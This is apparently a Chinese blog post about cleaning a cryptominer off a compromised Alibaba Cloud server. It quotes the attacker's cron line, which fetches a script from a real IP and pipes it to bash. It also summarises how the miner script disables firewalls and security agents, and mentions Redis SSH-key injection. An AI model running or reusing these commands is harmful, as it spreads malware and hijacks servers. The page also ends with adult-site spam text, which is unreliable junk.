<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          服務(wù)器被黑客攻擊,用來挖礦!怎么辦?

          共 4573字,需瀏覽 10分鐘

           ·

          2022-03-01 12:47

          ??????關(guān)注我,和老表一起學Python、云服務(wù)器


          跟老表一起學云服務(wù)器開發(fā)相關(guān)文章(如果是第一次閱讀該系列文章,強烈建議先學習下面文章):

          先導篇:擁有有一臺服務(wù)器后,我竟然這么酷?

          替代項目:10行代碼寫一個簡歷頁面!

          手把手教大家如何給域名申請免費SSL證書

          Linux里的寶塔,真正的寶塔!詳細教程

          終于有了一個人人可以訪問的網(wǎng)站了

          如何用Python發(fā)送告警通知到釘釘?
          Python自動化實戰(zhàn),自動登錄并發(fā)送微博
          終于“打造”出了一個可以隨時隨地編程的工具
          如何打造一個能自動回復的釘釘機器人
          用Python搞了個基金查詢機器人,還可以拓展!
          如何在Linux云服務(wù)器安裝其他版本Python環(huán)境,附實戰(zhàn)小程序

          哈嘍,大家好,我是老表~

          昨天下午一個朋友和我說,他的服務(wù)器被阿里云監(jiān)測出來在挖礦,然后阿里云官方把服務(wù)器給關(guān)停了。

          不用急,這個時候最簡單的方法是在阿里云里提一個工單,反饋相關(guān)問題。

          • 解禁服務(wù)器

          • 問題排查

            • “黑客”是怎么登錄控制我的服務(wù)器的?

            • 找到挖礦程序

          • 簡單分析挖礦程序

          • 清理挖礦程序

          • 服務(wù)器安全防范建議

          解禁服務(wù)器

          要解決問題、排查刪除挖礦程序,首先我們需要解禁服務(wù)器,登錄阿里云官方平臺后,依次點擊 控制臺-> 個人頭像 -> 安全管控進入相關(guān)頁面。

          在處罰列表,我們可以看到相關(guān)處罰記錄,點擊解除封禁后即可正常進入服務(wù)器了。

          會有提示,需要在解禁后三日內(nèi)找到挖礦程序,并刪除,否則官方會再次封禁服務(wù)器,而且無法再次進行解封(差不多意思就是,這個服務(wù)器就廢了!直接被官方回收)

          問題排查

          “黑客”是怎么登錄控制我的服務(wù)器的?

          我們首先可以看阿里云提供的漏洞管理監(jiān)測,發(fā)現(xiàn)確實有一個漏洞,提示:Redis 未授權(quán)弱口令。

          我網(wǎng)絡(luò)上查了,確實可以通過Redis向系統(tǒng)注入本地公鑰到服務(wù)器的/root/.ssh/authorized_keys中,然后“黑客”就可以在本地免密登錄你的服務(wù)器了。。。

          所以,如果你的服務(wù)器上安裝了redis的話,可以首先考慮這個問題,引起這個問題的主要原因一般有:

          • Redis設(shè)置了可遠程登錄(公網(wǎng)訪問)
          • Redis沒有設(shè)置密碼或者密碼很簡單

          所以不是業(yè)務(wù)需求的話,不要開放redis遠程登錄,另外設(shè)置一個較為復雜的、不會在網(wǎng)絡(luò)出現(xiàn)的密碼,開放端口也可以改下,另外還有一個點就是不要用root用戶啟動redis,這樣即使遠程連接上redis,也無法去修改root下權(quán)限了~

          具體相關(guān)介紹可以看這篇文章:https://blog.csdn.net/fdl123456/article/details/103932845

          上面了了可能是redis弱命令導致了“黑客”有機會登錄我們的服務(wù)器,但我看了,我朋友的服務(wù)器上并沒有安裝redis(也不知道為啥阿里云會檢測出這個漏洞)。。。

          那我繼續(xù)找問題,首先需要登錄服務(wù)器,問登錄密碼的時候發(fā)現(xiàn),登錄密碼在(阿里云客服)工單里?有點懵哈哈哈哈。。。

          原來我這個朋友,之前因為自己改登錄密碼后沒法遠程連接,所以提工單找過客服幫忙改遠程連接密碼,而客服設(shè)置的密碼應(yīng)該算比較常見Aliyun2021@zSS。。。到目前,個人感覺應(yīng)該是遠程連接密碼被破解/泄漏,導致的挖礦程序侵入。(歡迎大家指正哈)

          找到挖礦程序

          一般來說,挖礦程序要想一直運行,那么必然會設(shè)置一些定時任務(wù),在linux下一般用cron進行設(shè)置,其中用戶可以使用crontab來設(shè)置定時任務(wù)。

          首先我們可以輸入crontab -e編輯root用戶的crontab文件內(nèi)容,看看是否有定時任務(wù);

          crontab?-e

          (默認是使用vim編輯器,如果要退出編輯模式,可以先按ESC,再輸入:qw 回車即可退出,Linux相關(guān)操作具體可以看擁有有一臺服務(wù)器后,我竟然這么酷?)進入文件編輯,雖然指令不怎么能看懂,但是看到了一個網(wǎng)址、一個ip地址,首先非常確定這個ip不是我目前登錄的這個服務(wù)器的,而且看整理鏈接,應(yīng)該是下載了一個a.sh文件,有點礦味了~

          */30?*?*?*?*?/bin/cdz?-fsSL?http://104.192.82.138/sxxxxx5/a/a.sh?|?bash?>?/dev/null?2>&1

          我退出后,他還顯示我沒有修改權(quán)限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT查看文件權(quán)限所屬人,當然可以直接用sudo指令強制修改或者刪除。

          我們可以查了下這個IP地址基本信息,可以看到,是一個美國的ip~那就八九不離十了,就是個挖礦的!??!

          那我們就繼續(xù)來研究下前面找到的crontab問題,首先進入到/tmp目錄下,查看所有crontab相關(guān)文件內(nèi)容~

          發(fā)現(xiàn)有的有,有的沒有,我們直接使用rm -rf 文件名刪除所有相關(guān)文件:

          sudo?rm?-rf?crontab.*

          我以為應(yīng)該這樣就好了,再次運行crontab -e,發(fā)現(xiàn)會生成新的crontab.*文件,而且自動有挖礦的內(nèi)容~離譜!??!

          思前想后,可能是crontab配置的問題,輸入下面指令看看相關(guān)配置文件~果不其然,

          cat?/etc/crontab
          這是朋友服務(wù)器

          雖然還是不能完全看懂命令含義,但是看到這個newinit.sh就知道沒好事,

          于是在自己云服務(wù)器上看了看,果然不同。

          正常的

          從網(wǎng)絡(luò)上crontab相關(guān)教程也可以看出,我自己的是正常的~

          那是不是修改下crontab配置文件就可以了呢?

          簡單分析挖礦程序

          我們得來看看這個shit的挖礦腳本?。?!從配置文件可以看出這個腳本在/etc/newinit.sh,我們直接使用nano來查看這個文件內(nèi)容,

          nano?/etc/newinit.sh

          可以看到這個腳本一共有125行代碼~其他看不懂,這個函數(shù)名看懂了kill主進程~

          接下來我們來一起看看,他這個腳本都做了些什么(老表我對linux相關(guān)操作并不熟悉,所以以下關(guān)于腳本文件的簡單分析難免會有不正確或者錯誤的地方,敬請大家批評指正,但不可惡意攻擊~):

          part one

          • 設(shè)置ulimit,修改了兩個目錄chattr的權(quán)限,而chattr可用于修改Linux文件系統(tǒng)上的文件屬性,這樣就是為什么之前即使在root用戶下也會顯示無法修改文件的原因。

          • 關(guān)閉iptables和ufw防火墻、nmi(不可屏蔽的中斷)看門狗,修改文件目錄權(quán)限為只可追加、刪除tmp、var文件夾中某些文件

          part two

          • 這里比較簡單,設(shè)置了一些文件路徑,然后進行一些亂七八糟的mv操作,相當于文件重命名了~

          part three

          • 大制作了,卸載阿里云相關(guān)的安全防護,阿里云安騎士aegis。

          part four

          • 挖礦程序配置,這個zzh是一個可執(zhí)行程序,估計就是挖礦程序,newinit.sh就是現(xiàn)在正在簡單分享的挖礦程序腳本,也就是即使我把本地的腳本文件刪除了,如果這里沒刪除,他又會從他自己的服務(wù)器上下載。

          part five

          • 這里不太理解,大概在判斷程序指令是否正常?如果不正常就修改文件權(quán)限?有了解的可以補充下哈~

          finally

          • 感覺是一個函數(shù),有{卻沒有},看函數(shù)意思是刪除主程序進程,
          • netstat -anp 顯示各種網(wǎng)絡(luò)相關(guān)信息,
          • grep進行ip或者端口查找,定位到行,
          • awk按指定設(shè)置輸出對應(yīng)文本,比如awk '{print $7}' 按空格/tab為界限輸出文本中的第七項內(nèi)容,
          • |是管道命令,作用是將左側(cè)命令執(zhí)行結(jié)果作為參數(shù)傳遞給右側(cè)命令執(zhí)行(需要經(jīng)過xargs轉(zhuǎn)換),
          • xargs可以將管道命令的左側(cè)執(zhí)行結(jié)果轉(zhuǎn)換成命令行參數(shù),傳遞給右側(cè)命令執(zhí)行

          最后,我又看了下part four中提到的挖礦程序配置里的鏈接,不看不知道,一看嚇一跳,原來這個有996行代碼(是在暗示什么嗎?。。。?/p>

          修改了很多系統(tǒng)配置~如果服務(wù)器里要是有什么重要的東西,或者之前配過什么很麻煩的環(huán)境,要修改還是挺麻煩了!

          清理挖礦程序

          最簡單的方法就是直接重置系統(tǒng),我這里也選擇的這種方法,因為這個朋友服務(wù)器里沒啥要備份的。

          如前面所說,如果有很多重要東西和難配置的環(huán)境,你不想花時間備份和再配置一變,你可以選擇根據(jù)挖礦腳本程序去一個個修復他對系統(tǒng)的修改。。。看著996行代碼就覺得心累!

          重置系統(tǒng)的話就相對會簡單很多,進入到阿里云控制臺,然后找到對應(yīng)實例,先停止服務(wù)器,然后點擊更多 -> 云盤和鏡像 -> 更換操作系統(tǒng)。

          會有一個更換提醒,建議仔細看一遍。

          更換操作系統(tǒng)可以選擇和之前一樣的配置,或者其他配置,然后點擊確認訂單即可。

          更換成功后,會自動啟動服務(wù)器,我們可以點擊管理控制臺,然后嘗試遠程登錄下。

          這里相關(guān)操作和設(shè)置和我們之前分享的擁有有一臺服務(wù)器后,我竟然這么酷?中的介紹基本一致,通過下圖,我們可以看到crontab配置是正常的了。

          最后我們可以過一段時間后看看cpu使用情況,可以看到之前基本都是100%使用率,重置系統(tǒng)后,使用率變成了2.6%左右。

          服務(wù)器安全防范建議

          首先防范的前提是不影響我們使用,甚至所有操作應(yīng)該是方便我們使用的。

          1、目前我還是推薦初次接觸或者對云服務(wù)器不熟的讀者朋友使用寶塔面板來登錄、操作服務(wù)器內(nèi)容,具體功能和使用方法,大家可以看我之前的分享Linux里的寶塔,真正的寶塔!詳細教程。

          2、所有安裝的應(yīng)用服務(wù),盡量不要使用默認端口號,有密碼的設(shè)置密碼,不要嫌麻煩,可以是用1password.com這個網(wǎng)站生成隨機密碼,我之前也分享過一個腳本~

          import?string
          import?random
          while?True:
          ????try:
          ????????password_len?=?int(input('請輸入密碼長度(只能是數(shù)字):'))
          ????????password?=?''.join(random.choices(string.printable.strip(),?k=password_len))
          ????????print(f'你的新密碼為:{password},請保存好~')
          ????except?Exception?as?e:
          ????????print(f'【出錯啦】看看是不是輸入錯誤吧,可能是輸入了非數(shù)字內(nèi)容,錯誤信息:{e}')
          ????print('***?想結(jié)束就輸入0吧?。?!***')
          ????print('***?回車繼續(xù)生成新密碼?***')
          ????flag?=?input('是否繼續(xù)生成新密碼:')
          ????if?flag?==?'0':
          ????????break
          ????print('******************************************')

          3、系統(tǒng)自帶的防火墻、安全防護都不要關(guān)閉~

          其他的方法,歡迎大家補充~今天就到這里啦!

          堅持 and 努力 :終有所獲。

          那么下期見,我是愛貓愛技術(shù),更愛思思的老表???( ˙?˙ )???

          近期閱讀學習推薦

          情人節(jié)Github開源項目大“賞”,花樣表白她!

          為了一個HTTPS,瀏覽器操碎了心···

          如何在Linux云服務(wù)器安裝其他版本Python環(huán)境,附實戰(zhàn)小程序

          如何找到我

          瀏覽 62
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  成人网站www污污污免费网站 | 天天躁日日躁狠狠躁av麻豆 | 欧美,日韩,国产A黄色电影 | 久久av在线 | 云南性老太HD大全 |